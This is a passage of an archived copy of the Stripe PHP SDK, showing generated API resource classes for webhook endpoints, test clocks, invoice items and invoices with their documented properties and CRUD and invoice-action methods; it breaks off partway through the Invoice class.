events to enable for this endpoint. <code>['*']</code> indicates that all events are enabled, except those that require explicit selection. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string $secret The endpoint's secret, used to generate <a href="https://docs.stripe.com/webhooks/signatures">webhook signatures</a>. Only returned at creation. * @property string $status The status of the webhook. It can be <code>enabled</code> or <code>disabled</code>. * @property string $url The URL of the webhook endpoint. */ class WebhookEndpoint extends ApiResource { const OBJECT_NAME = 'webhook_endpoint'; use ApiOperations\Update; /** * A webhook endpoint must have a <code>url</code> and a list of * <code>enabled_events</code>. You may optionally specify the Boolean * <code>connect</code> parameter. If set to true, then a Connect webhook endpoint * that notifies the specified <code>url</code> about events from all connected * accounts is created; otherwise an account webhook endpoint that notifies the * specified <code>url</code> only about events from your account is created. You * can also create webhook endpoints in the <a * href="https://dashboard.stripe.com/account/webhooks">webhooks settings</a> * section of the Dashboard. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\WebhookEndpoint the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * You can also delete webhook endpoints via the <a * href="https://dashboard.stripe.com/account/webhooks">webhook endpoint * management</a> page of the Stripe dashboard. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\WebhookEndpoint the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of your webhook endpoints. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\WebhookEndpoint> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the webhook endpoint with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\WebhookEndpoint */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the webhook endpoint. You may edit the <code>url</code>, the list of * <code>enabled_events</code>, and the status of your endpoint. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\WebhookEndpoint the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ����������������stripe-gateway/lib/TestHelpers/TestClock.php��������������������������������������������������������0000644�����������������00000010462�14720677707�0015151 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\TestHelpers; /** * A test clock enables deterministic control over objects in testmode. With a test clock, you can create * objects at a frozen time in the past or future, and advance to a specific future time to observe webhooks and state changes. After the clock advances, * you can either validate the current state of your scenario (and test your assumptions), change the current state of your scenario (and test more complex scenarios), or keep advancing forward in time. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property int $deletes_after Time at which this clock is scheduled to auto delete. * @property int $frozen_time Time at which all objects belonging to this clock are frozen. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string $name The custom name supplied at creation. * @property string $status The status of the Test Clock. */ class TestClock extends \Stripe\ApiResource { const OBJECT_NAME = 'test_helpers.test_clock'; const STATUS_ADVANCING = 'advancing'; const STATUS_INTERNAL_FAILURE = 'internal_failure'; const STATUS_READY = 'ready'; /** * Creates a new test clock that can be attached to new customers and quotes. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TestHelpers\TestClock the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Deletes a test clock. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TestHelpers\TestClock the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of your test clocks. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\TestHelpers\TestClock> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a test clock. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TestHelpers\TestClock */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\TestHelpers\TestClock the advanced test clock */ public function advance($params = null, $opts = null) { $url = $this->instanceUrl() . '/advance'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/InvoiceItem.php������������������������������������������������������������������0000644�����������������00000017710�14720677707�0013232 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Invoice Items represent the component lines of an <a href="https://stripe.com/docs/api/invoices">invoice</a>. An invoice item is added to an * invoice by creating or updating it with an <code>invoice</code> field, at which point it will be included as * <a href="https://stripe.com/docs/api/invoices/line_item">an invoice line item</a> within * <a href="https://stripe.com/docs/api/invoices/object#invoice_object-lines">invoice.lines</a>. * * Invoice Items can be created before you are ready to actually send the invoice. This can be particularly useful when combined * with a <a href="https://stripe.com/docs/api/subscriptions">subscription</a>. Sometimes you want to add a charge or credit to a customer, but actually charge * or credit the customer’s card only at the end of a regular billing cycle. This is useful for combining several charges * (to minimize per-transaction fees), or for having Stripe tabulate your usage-based billing totals. * * Related guides: <a href="https://stripe.com/docs/invoicing/integration">Integrate with the Invoicing API</a>, <a href="https://stripe.com/docs/billing/invoices/subscription#adding-upcoming-invoice-items">Subscription Invoices</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount (in the <code>currency</code> specified) of the invoice item. This should always be equal to <code>unit_amount * quantity</code>. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string|\Stripe\Customer $customer The ID of the customer who will be billed when this invoice item is billed. * @property int $date Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property bool $discountable If true, discounts will apply to this invoice item. Always false for prorations. * @property null|(string|\Stripe\Discount)[] $discounts The discounts which apply to the invoice item. Item discounts are applied before invoice discounts. Use <code>expand[]=discounts</code> to expand each discount. * @property null|string|\Stripe\Invoice $invoice The ID of the invoice this invoice item belongs to. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property \Stripe\StripeObject $period * @property null|\Stripe\Plan $plan If the invoice item is a proration, the plan of the subscription that the proration was computed for. * @property null|\Stripe\Price $price The price of the invoice item. * @property bool $proration Whether the invoice item was created automatically as a proration adjustment when the customer switched plans. * @property int $quantity Quantity of units for the invoice item. If the invoice item is a proration, the quantity of the subscription that the proration was computed for. * @property null|string|\Stripe\Subscription $subscription The subscription that this invoice item has been created for, if any. * @property null|string $subscription_item The subscription item that this invoice item has been created for, if any. * @property null|\Stripe\TaxRate[] $tax_rates The tax rates which apply to the invoice item. When set, the <code>default_tax_rates</code> on the invoice do not apply to this invoice item. * @property null|string|\Stripe\TestHelpers\TestClock $test_clock ID of the test clock this invoice item belongs to. * @property null|int $unit_amount Unit amount (in the <code>currency</code> specified) of the invoice item. * @property null|string $unit_amount_decimal Same as <code>unit_amount</code>, but contains a decimal value with at most 12 decimal places. */ class InvoiceItem extends ApiResource { const OBJECT_NAME = 'invoiceitem'; use ApiOperations\Update; /** * Creates an item to be added to a draft invoice (up to 250 items per invoice). If * no invoice is specified, the item will be on the next invoice created for the * customer specified. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\InvoiceItem the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Deletes an invoice item, removing it from an invoice. Deleting invoice items is * only possible when they’re not attached to invoices, or if it’s attached to a * draft invoice. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\InvoiceItem the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of your invoice items. Invoice items are returned sorted by * creation date, with the most recently created invoice items appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\InvoiceItem> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the invoice item with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\InvoiceItem */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the amount or description of an invoice item on an upcoming invoice. * Updating an invoice item is only possible before the invoice it’s attached to is * closed. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\InvoiceItem the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ��������������������������������������������������������stripe-gateway/lib/Invoice.php����������������������������������������������������������������������0000644�����������������00000073754�14720677707�0012425 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Invoices are statements of amounts owed by a customer, and are either * generated one-off, or generated periodically from a subscription. * * They contain <a href="https://stripe.com/docs/api#invoiceitems">invoice items</a>, and proration adjustments * that may be caused by subscription upgrades/downgrades (if necessary). * * If your invoice is configured to be billed through automatic charges, * Stripe automatically finalizes your invoice and attempts payment. Note * that finalizing the invoice, * <a href="https://stripe.com/docs/invoicing/integration/automatic-advancement-collection">when automatic</a>, does * not happen immediately as the invoice is created. Stripe waits * until one hour after the last webhook was successfully sent (or the last * webhook timed out after failing). If you (and the platforms you may have * connected to) have no webhooks configured, Stripe waits one hour after * creation to finalize the invoice. * * If your invoice is configured to be billed by sending an email, then based on your * <a href="https://dashboard.stripe.com/account/billing/automatic">email settings</a>, * Stripe will email the invoice to your customer and await payment. These * emails can contain a link to a hosted page to pay the invoice. * * Stripe applies any customer credit on the account before determining the * amount due for the invoice (i.e., the amount that will be actually * charged). If the amount due for the invoice is less than Stripe's <a href="/docs/currencies#minimum-and-maximum-charge-amounts">minimum allowed charge * per currency</a>, the * invoice is automatically marked paid, and we add the amount due to the * customer's credit balance which is applied to the next invoice. * * More details on the customer's credit balance are * <a href="https://stripe.com/docs/billing/customer/balance">here</a>. * * Related guide: <a href="https://stripe.com/docs/billing/invoices/sending">Send invoices to customers</a> * * @property null|string $id Unique identifier for the object. This property is always present unless the invoice is an upcoming invoice. See <a href="https://stripe.com/docs/api/invoices/upcoming">Retrieve an upcoming invoice</a> for more details. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string $account_country The country of the business associated with this invoice, most often the business creating the invoice. * @property null|string $account_name The public name of the business associated with this invoice, most often the business creating the invoice. * @property null|(string|\Stripe\TaxId)[] $account_tax_ids The account tax IDs associated with the invoice. Only editable when the invoice is a draft. * @property int $amount_due Final amount due at this time for this invoice. If the invoice's total is smaller than the minimum charge amount, for example, or if there is account credit that can be applied to the invoice, the <code>amount_due</code> may be 0. If there is a positive <code>starting_balance</code> for the invoice (the customer owes money), the <code>amount_due</code> will also take that into account. The charge that gets generated for the invoice will be for the amount specified in <code>amount_due</code>. * @property int $amount_paid The amount, in cents (or local equivalent), that was paid. * @property int $amount_remaining The difference between amount_due and amount_paid, in cents (or local equivalent). * @property int $amount_shipping This is the sum of all the shipping amounts. * @property null|string|\Stripe\Application $application ID of the Connect Application that created the invoice. * @property null|int $application_fee_amount The fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account when the invoice is paid. * @property int $attempt_count Number of payment attempts made for this invoice, from the perspective of the payment retry schedule. Any payment attempt counts as the first attempt, and subsequently only automatic retries increment the attempt count. In other words, manual payment attempts after the first attempt do not affect the retry schedule. If a failure is returned with a non-retryable return code, the invoice can no longer be retried unless a new payment method is obtained. Retries will continue to be scheduled, and attempt_count will continue to increment, but retries will only be executed if a new payment method is obtained. * @property bool $attempted Whether an attempt has been made to pay the invoice. An invoice is not attempted until 1 hour after the <code>invoice.created</code> webhook, for example, so you might not want to display that invoice as unpaid to your users. * @property null|bool $auto_advance Controls whether Stripe performs <a href="https://stripe.com/docs/invoicing/integration/automatic-advancement-collection">automatic collection</a> of the invoice. If <code>false</code>, the invoice's state doesn't automatically advance without an explicit action. * @property \Stripe\StripeObject $automatic_tax * @property null|string $billing_reason <p>Indicates the reason why the invoice was created.</p><p>* <code>manual</code>: Unrelated to a subscription, for example, created via the invoice editor. * <code>subscription</code>: No longer in use. Applies to subscriptions from before May 2018 where no distinction was made between updates, cycles, and thresholds. * <code>subscription_create</code>: A new subscription was created. * <code>subscription_cycle</code>: A subscription advanced into a new period. * <code>subscription_threshold</code>: A subscription reached a billing threshold. * <code>subscription_update</code>: A subscription was updated. * <code>upcoming</code>: Reserved for simulated invoices, per the upcoming invoice endpoint.</p> * @property null|string|\Stripe\Charge $charge ID of the latest charge generated for this invoice, if any. * @property string $collection_method Either <code>charge_automatically</code>, or <code>send_invoice</code>. When charging automatically, Stripe will attempt to pay this invoice using the default source attached to the customer. When sending an invoice, Stripe will email this invoice to the customer with payment instructions. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|\Stripe\StripeObject[] $custom_fields Custom fields displayed on the invoice. * @property null|string|\Stripe\Customer $customer The ID of the customer who will be billed. * @property null|\Stripe\StripeObject $customer_address The customer's address. Until the invoice is finalized, this field will equal <code>customer.address</code>. Once the invoice is finalized, this field will no longer be updated. * @property null|string $customer_email The customer's email. Until the invoice is finalized, this field will equal <code>customer.email</code>. Once the invoice is finalized, this field will no longer be updated. * @property null|string $customer_name The customer's name. Until the invoice is finalized, this field will equal <code>customer.name</code>. Once the invoice is finalized, this field will no longer be updated. * @property null|string $customer_phone The customer's phone number. Until the invoice is finalized, this field will equal <code>customer.phone</code>. Once the invoice is finalized, this field will no longer be updated. * @property null|\Stripe\StripeObject $customer_shipping The customer's shipping information. Until the invoice is finalized, this field will equal <code>customer.shipping</code>. Once the invoice is finalized, this field will no longer be updated. * @property null|string $customer_tax_exempt The customer's tax exempt status. Until the invoice is finalized, this field will equal <code>customer.tax_exempt</code>. Once the invoice is finalized, this field will no longer be updated. * @property null|\Stripe\StripeObject[] $customer_tax_ids The customer's tax IDs. Until the invoice is finalized, this field will contain the same tax IDs as <code>customer.tax_ids</code>. Once the invoice is finalized, this field will no longer be updated. * @property null|string|\Stripe\PaymentMethod $default_payment_method ID of the default payment method for the invoice. It must belong to the customer associated with the invoice. If not set, defaults to the subscription's default payment method, if any, or to the default payment method in the customer's invoice settings. * @property null|string|\Stripe\Account|\Stripe\BankAccount|\Stripe\Card|\Stripe\Source $default_source ID of the default payment source for the invoice. It must belong to the customer associated with the invoice and be in a chargeable state. If not set, defaults to the subscription's default source, if any, or to the customer's default source. * @property \Stripe\TaxRate[] $default_tax_rates The tax rates applied to this invoice, if any. * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. Referenced as 'memo' in the Dashboard. * @property null|\Stripe\Discount $discount Describes the current discount applied to this invoice, if there is one. Not populated if there are multiple discounts. * @property (string|\Stripe\Discount)[] $discounts The discounts applied to the invoice. Line item discounts are applied before invoice discounts. Use <code>expand[]=discounts</code> to expand each discount. * @property null|int $due_date The date on which payment for this invoice is due. This value will be <code>null</code> for invoices where <code>collection_method=charge_automatically</code>. * @property null|int $effective_at The date when this invoice is in effect. Same as <code>finalized_at</code> unless overwritten. When defined, this value replaces the system-generated 'Date of issue' printed on the invoice PDF and receipt. * @property null|int $ending_balance Ending customer balance after the invoice is finalized. Invoices are finalized approximately an hour after successful webhook delivery or when payment collection is attempted for the invoice. If the invoice has not been finalized yet, this will be null. * @property null|string $footer Footer displayed on the invoice. * @property null|\Stripe\StripeObject $from_invoice Details of the invoice that was cloned. See the <a href="https://stripe.com/docs/invoicing/invoice-revisions">revision documentation</a> for more details. * @property null|string $hosted_invoice_url The URL for the hosted invoice page, which allows customers to view and pay an invoice. If the invoice has not been finalized yet, this will be null. * @property null|string $invoice_pdf The link to download the PDF for the invoice. If the invoice has not been finalized yet, this will be null. * @property \Stripe\StripeObject $issuer * @property null|\Stripe\StripeObject $last_finalization_error The error encountered during the previous attempt to finalize the invoice. This field is cleared when the invoice is successfully finalized. * @property null|string|\Stripe\Invoice $latest_revision The ID of the most recent non-draft revision of this invoice * @property \Stripe\Collection<\Stripe\InvoiceLineItem> $lines The individual line items that make up the invoice. <code>lines</code> is sorted as follows: (1) pending invoice items (including prorations) in reverse chronological order, (2) subscription items in reverse chronological order, and (3) invoice items added after invoice creation in chronological order. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|int $next_payment_attempt The time at which payment will next be attempted. This value will be <code>null</code> for invoices where <code>collection_method=send_invoice</code>. * @property null|string $number A unique, identifying string that appears on emails sent to the customer for this invoice. This starts with the customer's unique invoice_prefix if it is specified. * @property null|string|\Stripe\Account $on_behalf_of The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the <a href="https://stripe.com/docs/billing/invoices/connect">Invoices with Connect</a> documentation for details. * @property bool $paid Whether payment was successfully collected for this invoice. An invoice can be paid (most commonly) with a charge or with credit from the customer's account balance. * @property bool $paid_out_of_band Returns true if the invoice was manually marked paid, returns false if the invoice hasn't been paid yet or was paid on Stripe. * @property null|string|\Stripe\PaymentIntent $payment_intent The PaymentIntent associated with this invoice. The PaymentIntent is generated when the invoice is finalized, and can then be used to pay the invoice. Note that voiding an invoice will cancel the PaymentIntent. * @property \Stripe\StripeObject $payment_settings * @property int $period_end End of the usage period during which invoice items were added to this invoice. This looks back one period for a subscription invoice. Use the <a href="/api/invoices/line_item#invoice_line_item_object-period">line item period</a> to get the service period for each price. * @property int $period_start Start of the usage period during which invoice items were added to this invoice. This looks back one period for a subscription invoice. Use the <a href="/api/invoices/line_item#invoice_line_item_object-period">line item period</a> to get the service period for each price. * @property int $post_payment_credit_notes_amount Total amount of all post-payment credit notes issued for this invoice. * @property int $pre_payment_credit_notes_amount Total amount of all pre-payment credit notes issued for this invoice. * @property null|string|\Stripe\Quote $quote The quote this invoice was generated from. * @property null|string $receipt_number This is the transaction number that appears on email receipts sent for this invoice. * @property null|\Stripe\StripeObject $rendering The rendering-related settings that control how the invoice is displayed on customer-facing surfaces such as PDF and Hosted Invoice Page. * @property null|\Stripe\StripeObject $shipping_cost The details of the cost of shipping, including the ShippingRate applied on the invoice. * @property null|\Stripe\StripeObject $shipping_details Shipping details for the invoice. The Invoice PDF will use the <code>shipping_details</code> value if it is set, otherwise the PDF will render the shipping address from the customer. * @property int $starting_balance Starting customer balance before the invoice is finalized. If the invoice has not been finalized yet, this will be the current customer balance. For revision invoices, this also includes any customer balance that was applied to the original invoice. * @property null|string $statement_descriptor Extra information about an invoice for the customer's credit card statement. * @property null|string $status The status of the invoice, one of <code>draft</code>, <code>open</code>, <code>paid</code>, <code>uncollectible</code>, or <code>void</code>. <a href="https://stripe.com/docs/billing/invoices/workflow#workflow-overview">Learn more</a> * @property \Stripe\StripeObject $status_transitions * @property null|string|\Stripe\Subscription $subscription The subscription that this invoice was prepared for, if any. * @property null|\Stripe\StripeObject $subscription_details Details about the subscription that created this invoice. * @property null|int $subscription_proration_date Only set for upcoming invoices that preview prorations. The time used to calculate prorations. * @property int $subtotal Total of all subscriptions, invoice items, and prorations on the invoice before any invoice level discount or exclusive tax is applied. Item discounts are already incorporated * @property null|int $subtotal_excluding_tax The integer amount in cents (or local equivalent) representing the subtotal of the invoice before any invoice level discount or tax is applied. Item discounts are already incorporated * @property null|int $tax The amount of tax on this invoice. This is the sum of all the tax amounts on this invoice. * @property null|string|\Stripe\TestHelpers\TestClock $test_clock ID of the test clock this invoice belongs to. * @property null|\Stripe\StripeObject $threshold_reason * @property int $total Total after discounts and taxes. * @property null|\Stripe\StripeObject[] $total_discount_amounts The aggregate amounts calculated per discount across all line items. * @property null|int $total_excluding_tax The integer amount in cents (or local equivalent) representing the total amount of the invoice including all discounts but excluding all tax. * @property \Stripe\StripeObject[] $total_tax_amounts The aggregate amounts calculated per tax rate for all line items. * @property null|\Stripe\StripeObject $transfer_data The account (if any) the payment will be attributed to for tax reporting, and where funds from the payment will be transferred to for the invoice. * @property null|int $webhooks_delivered_at Invoices are automatically paid or sent 1 hour after webhooks are delivered, or until all webhook delivery attempts have <a href="https://stripe.com/docs/billing/webhooks#understand">been exhausted</a>. This field tracks the time when webhooks for this invoice were successfully delivered. If the invoice had no webhooks to deliver, this will be set while the invoice is being created. */ class Invoice extends ApiResource { const OBJECT_NAME = 'invoice'; use ApiOperations\NestedResource; use ApiOperations\Update; const BILLING_REASON_AUTOMATIC_PENDING_INVOICE_ITEM_INVOICE = 'automatic_pending_invoice_item_invoice'; const BILLING_REASON_MANUAL = 'manual'; const BILLING_REASON_QUOTE_ACCEPT = 'quote_accept'; const BILLING_REASON_SUBSCRIPTION = 'subscription'; const BILLING_REASON_SUBSCRIPTION_CREATE = 'subscription_create'; const BILLING_REASON_SUBSCRIPTION_CYCLE = 'subscription_cycle'; const BILLING_REASON_SUBSCRIPTION_THRESHOLD = 'subscription_threshold'; const BILLING_REASON_SUBSCRIPTION_UPDATE = 'subscription_update'; const BILLING_REASON_UPCOMING = 'upcoming'; const COLLECTION_METHOD_CHARGE_AUTOMATICALLY = 'charge_automatically'; const COLLECTION_METHOD_SEND_INVOICE = 'send_invoice'; const CUSTOMER_TAX_EXEMPT_EXEMPT = 'exempt'; const CUSTOMER_TAX_EXEMPT_NONE = 'none'; const CUSTOMER_TAX_EXEMPT_REVERSE = 'reverse'; const STATUS_DRAFT = 'draft'; const STATUS_OPEN = 'open'; const STATUS_PAID = 'paid'; const STATUS_UNCOLLECTIBLE = 'uncollectible'; const STATUS_VOID = 'void'; /** * This endpoint creates a draft invoice for a given customer. The invoice remains * a draft until you <a href="#finalize_invoice">finalize</a> the invoice, which * allows you to <a href="#pay_invoice">pay</a> or <a href="#send_invoice">send</a> * the invoice to your customers. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Permanently deletes a one-off invoice draft. This cannot be undone. Attempts to * delete invoices that are no longer in a draft state will fail; once an invoice * has been finalized or if an invoice is for a subscription, it must be <a * href="#void_invoice">voided</a>. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * You can list all invoices, or list the invoices for a specific customer. The * invoices are returned sorted by creation date, with the most recently created * invoices appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Invoice> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the invoice with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Draft invoices are fully editable. Once an invoice is <a * href="/docs/billing/invoices/workflow#finalized">finalized</a>, monetary values, * as well as <code>collection_method</code>, become uneditable. * * If you would like to stop the Stripe Billing engine from automatically * finalizing, reattempting payments on, sending reminders for, or <a * href="/docs/billing/invoices/reconciliation">automatically reconciling</a> * invoices, pass <code>auto_advance=false</code>. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } const BILLING_CHARGE_AUTOMATICALLY = 'charge_automatically'; const BILLING_SEND_INVOICE = 'send_invoice'; /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice the added invoice */ public function addLines($params = null, $opts = null) { $url = $this->instanceUrl() . '/add_lines'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice the created invoice */ public static function createPreview($params = null, $opts = null) { $url = static::classUrl() . '/create_preview'; list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice the finalized invoice */ public function finalizeInvoice($params = null, $opts = null) { $url = $this->instanceUrl() . '/finalize'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice the uncollectible invoice */ public function markUncollectible($params = null, $opts = null) { $url = $this->instanceUrl() . '/mark_uncollectible'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice the paid invoice */ public function pay($params = null, $opts = null) { $url = $this->instanceUrl() . '/pay'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Invoice the removed invoice */ public function removeLines($params = null, $opts = null) { $url = $this->instanceUrl() . '/remove_lines'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return 